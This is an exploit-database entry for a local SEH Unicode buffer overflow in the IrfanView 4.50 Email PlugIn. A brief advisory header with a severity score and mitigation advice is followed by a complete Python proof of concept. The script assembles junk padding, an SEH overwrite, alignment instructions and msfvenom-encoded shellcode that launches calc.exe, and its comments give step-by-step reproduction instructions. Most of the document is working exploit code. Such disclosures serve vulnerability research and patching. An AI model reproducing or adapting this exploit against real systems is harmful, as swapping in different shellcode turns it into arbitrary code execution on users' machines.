IrfanView 4.50 Email PlugIn - Local Buffer Overflow (SEH Unicode)

vendor:

IrfanView 4.50 Email PlugIn

by:

bzyo

7.8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: IrfanView 4.50 Email PlugIn

Affected Version From: 4.50

Affected Version To: 4.50

Patch Exists: YES

Related CWE: N/A

CPE: a:irfan_skiljan:irfanview:4.50

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 SP1 x86

2018

IrfanView 4.50 Email PlugIn – Local Buffer Overflow (SEH Unicode)

IrfanView 4.50 Email PlugIn is vulnerable to a local buffer overflow vulnerability when a maliciously crafted file is opened. This can be exploited to execute arbitrary code by corrupting the SEH chain and overwriting the return address with a pointer to the shellcode.

Mitigation:

Upgrade to the latest version of IrfanView 4.50 Email PlugIn.

Source

Exploit-DB raw data:

#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: IrfanView 4.50 Email PlugIn - Local Buffer Overflow (SEH Unicode)
# Date: 02-07-2018
# Vulnerable Software: IrfanView 4.50 Email PlugIn
# Vendor Homepage: http://www.irfanview.com/
# Version: 4.50
# Software Link: http://www.irfanview.info/files/irfanview_450.exe
# Software Link: http://www.irfanview.info/files/irfanview_plugins_450.zip
# Tested Windows 7 SP1 x86
#
# More reliable result if .NET and updates installed prior to application being installed
# 
#
# PoC
# 1. generate irfan.txt, copy contents to clipboard
# 2. open IrfanView and a sample image from My Pictures (i.e. Chrysanthemum.jpg)
# 3. select Options, Send by Email, Settings
# 4. paste contents from clipboard into Full Name and select OK
# 5. application crashes
# 6. pop calc
#   ****if calc doesn't pop on first try, repeat steps 2-4 until it does :/
#

filename="irfan.txt"

#junk to offset
junk = "\x41"*262

#popad
nseh = "\x61\x62"

#0x00500102 pop esi pop ebx  ret  
#unicode possible ansi transform(s) : 0050008A->00500106,ascii {PAGE_EXECUTE_READ} [i_view32.exe] 
seh = "\x8a\x50"

valign = (
"\x55" 			#push ebp
"\x47" 			#align
"\x58" 			#pop eax
"\x47" 			#align
"\x05\x14\x11" 	#add eax,400
"\x47"			#align
"\x2d\x13\x11"	#sub eax,300
"\x47"			#align
"\x50"			#push eax
"\x47"			#align
"\xc3"			#retn
)

#nops to shellcode
nops = "\x71" * 109

#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX
calc = (
"PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"
"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHE2KPKPM0C0U9IU01I02D4K0P004"
"K0RLLTK0RLT4KT2NHLOH7OZO601KOVLOLQQSLLBNLMPWQHOLMM197K2KBQB0WTK0RN0DKPJOLDK0LLQR"
"XIS18M1J121TK1IMPKQYC4KPILXJCOJQ9TKOD4KKQ8VP1KOFL91XOLMM1WWP8IPD5ZVLCCMKHOKSMO42"
"UK428DKPXNDM1ICBFTKLLPKDKB8MLM19CDKLD4KKQHP3YQ4O4MTQKQK1Q291JPQKOIP1OQOPZ4KLRJK4M"
"1MRJM14MU5WBM0M0M0R0QX014K2OTGKO9EGKL06UFBB6C85VF5GM5MKOJ5OLKVSLKZE0KKIPBUM57KQ7M"
"CSB2ORJM0PSKOIEBCC1BL1SNN2E2XC5M0AA"
)

#necessary fill
fill = "\x71"*1000

buffer = junk + nseh + seh + valign + nops + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()